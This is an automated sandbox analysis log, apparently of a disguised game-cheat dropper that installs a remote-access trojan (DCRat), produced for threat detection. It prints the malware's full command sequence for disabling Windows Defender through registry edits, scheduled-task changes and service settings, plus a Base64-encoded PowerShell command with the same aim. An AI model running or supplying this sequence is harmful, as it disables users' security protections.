Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
Yara signature match
Source: 36.0.52cheatand52rat.exe.239bb8d0000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 34.3.Lunch LaCheat.exe.1b56998.5.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 34.2.Lunch LaCheat.exe.1b56998.1.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 34.3.Lunch LaCheat.exe.1b56998.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 34.2.Lunch LaCheat.exe.1b56998.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe, type: DROPPED Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, wiSwb7XyiTFNRrZRITR.cs Cryptographic APIs: 'TransformBlock'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, wiSwb7XyiTFNRrZRITR.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, ruGDE8wHCs1LugFJYDC.cs Cryptographic APIs: 'CreateDecryptor'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, ruGDE8wHCs1LugFJYDC.cs Cryptographic APIs: 'CreateDecryptor'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, wiSwb7XyiTFNRrZRITR.cs Cryptographic APIs: 'TransformBlock'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, wiSwb7XyiTFNRrZRITR.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, ruGDE8wHCs1LugFJYDC.cs Cryptographic APIs: 'CreateDecryptor'
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, ruGDE8wHCs1LugFJYDC.cs Cryptographic APIs: 'CreateDecryptor'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, wiSwb7XyiTFNRrZRITR.cs Cryptographic APIs: 'TransformBlock'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, wiSwb7XyiTFNRrZRITR.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, ruGDE8wHCs1LugFJYDC.cs Cryptographic APIs: 'CreateDecryptor'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, ruGDE8wHCs1LugFJYDC.cs Cryptographic APIs: 'CreateDecryptor'
Source: 52cheatand52rat.exe.34.dr, --------.cs Base64 encoded string: 'U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZUludHJ1c2lvblByZXZlbnRpb25TeXN0ZW0gJHRydWUgLURpc2FibGVJT0FWUHJvdGVjdGlvbiAkdHJ1ZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZSAtRGlzYWJsZVNjcmlwdFNjYW5uaW5nICR0cnVlIC1FbmFibGVDb250cm9sbGVkRm9sZGVyQWNjZXNzIERpc2FibGVkIC1FbmFibGVOZXR3b3JrUHJvdGVjdGlvbiBBdWRpdE1vZGUgLUZvcmNlIC1NQVBTUmVwb3J0aW5nIERpc2FibGVkIC1TdWJtaXRTYW1wbGVzQ29uc2VudCBOZXZlclNlbmQgJiYgcG93ZXJzaGVsbCBTZXQtTXBQcmVmZXJlbmNlIC1TdWJtaXRTYW1wbGVzQ29uc2VudCAy'
Source: 34.3.Lunch LaCheat.exe.1b56998.5.raw.unpack, --------.cs Base64 encoded string: 'U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZUludHJ1c2lvblByZXZlbnRpb25TeXN0ZW0gJHRydWUgLURpc2FibGVJT0FWUHJvdGVjdGlvbiAkdHJ1ZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZSAtRGlzYWJsZVNjcmlwdFNjYW5uaW5nICR0cnVlIC1FbmFibGVDb250cm9sbGVkRm9sZGVyQWNjZXNzIERpc2FibGVkIC1FbmFibGVOZXR3b3JrUHJvdGVjdGlvbiBBdWRpdE1vZGUgLUZvcmNlIC1NQVBTUmVwb3J0aW5nIERpc2FibGVkIC1TdWJtaXRTYW1wbGVzQ29uc2VudCBOZXZlclNlbmQgJiYgcG93ZXJzaGVsbCBTZXQtTXBQcmVmZXJlbmNlIC1TdWJtaXRTYW1wbGVzQ29uc2VudCAy'
Source: 34.3.Lunch LaCheat.exe.1b56998.5.raw.unpack, --------.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 34.3.Lunch LaCheat.exe.1b56998.5.raw.unpack, --------.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, bUKS09MsXqrMAhvIgjN.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, bUKS09MsXqrMAhvIgjN.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, bUKS09MsXqrMAhvIgjN.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, bUKS09MsXqrMAhvIgjN.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 52cheatand52rat.exe.34.dr, --------.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 52cheatand52rat.exe.34.dr, --------.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, bUKS09MsXqrMAhvIgjN.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, bUKS09MsXqrMAhvIgjN.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@87/43@1/1
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_00736EC9 GetLastError,FormatMessageW, 35_2_00736EC9
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_00749E1C FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree, 35_2_00749E1C
Source: C:\blockweb\portrefNet.exe File created: C:\Program Files\Windows Portable Devices\ukzoUeHPfeDwGdTDRNL.exe
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\52cheatand52rat.exe.log Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7412:120:WilError_03
Source: C:\blockweb\portrefNet.exe Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Mutant created: \Sessions\1\BaseNamedObjects\kwtxO2R822Z9ihsGdQrR
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:824:120:WilError_03
Source: C:\blockweb\portrefNet.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\312f3abf7ba061ec8aad8e8d0a3ae626329305a1
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7376:120:WilError_03
Source: C:\Users\user\Desktop\FixTsDfhiC.exe File created: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\windows defender.bat" "
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\blockweb\file.vbs"
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Command line argument: sfxname 35_2_0074D5D4
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Command line argument: sfxstime 35_2_0074D5D4
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Command line argument: STARTDLG 35_2_0074D5D4
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Command line argument: xjx 35_2_0074D5D4
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: FixTsDfhiC.exe ReversingLabs: Detection: 92%
Source: unknown Process created: C:\Users\user\Desktop\FixTsDfhiC.exe "C:\Users\user\Desktop\FixTsDfhiC.exe"
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Process created: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe "C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe"
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\windows defender.bat" "
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
